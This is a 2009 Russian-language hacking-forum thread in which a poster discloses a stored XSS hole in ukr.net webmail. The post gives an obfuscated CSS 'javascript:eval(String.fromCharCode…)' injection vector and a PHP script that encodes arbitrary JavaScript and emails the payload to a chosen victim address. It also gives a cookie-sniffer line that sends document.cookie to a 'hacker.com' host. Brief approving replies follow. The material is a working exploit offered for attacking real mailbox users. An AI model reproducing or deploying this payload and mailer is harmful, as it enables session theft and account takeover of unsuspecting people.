Active XSS [ukr.net]

Discussion in 'Уязвимости' started by Dimi4, 14 May 2009.

  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Всем привет) На днях исследовал почту ukr.net'a :) Хотя нет, начну с того что мне жаль было постить это в паблике, так как проверено, быстро пофиксят.

    Вообщем смотря сорцы одного из писем, я заметил что контент весь в :

    Code:
    <script>
    	messageBody = '\nPew pew!';
    	readmsgSetMessageBody();	
    	</script>
    Это уже выдвигало на некии мысли. Покопавшись еще чуть я остановился на таком вот векторе:

    Code:
    <font style="background:url\(javas/**/cript:eval(String.fromCharCode([COLOR=Red][evil encoded code][/COLOR])))">
    
    
    Opera: [-]
    IE: [+]
    FF: [-]

    Небольшой скриптик для отправки:
    PHP:
    <?php
    /**
     * (c) Dimi4, 2009
     * 
    */   
    $target "[email protected]";
    $subj "Pew pew!";
    $payload ="";
    $evilcode="alert(1);"//img = new Image(); img.src = "http://hacker.com/sniffer/s.gif?"+document.cookie;
    $strlenstrlen($evilcode);
            for(
    $i=0$i !== $strlen$i++)
            {
                if(
    $i+== $strlen$payload .= ord($evilcode[$i]);
                else 
    $payload .= ord($evilcode[$i]).',';
            }
    $header  "From: [email protected]\r\n";
    $header .= "MIME-Version: 1.0\r\n";
    $header .= "Content-Type: text/html\r\n";
    $msg ='<font style="background:url\(javas/**/cript:eval(String.fromCharCode('.$payload.')))">';
    mail($target,$subj,$msg,$header);
    ?>
    Собстна меняем $target на нужное мыло, и $evilcode на ченить хекерское, например имедж со снифером:
    Code:
    img = new Image(); img.src = "http://hacker.com/sniffer/s.gif?"+document.cookie;
     
    8 people like this.
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    from roa
     
    3 people like this.
  3. Exlibris

    Exlibris Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    359
    Likes Received:
    394
    Reputations:
    27
    good блин хакер =(
     
    10 people like this.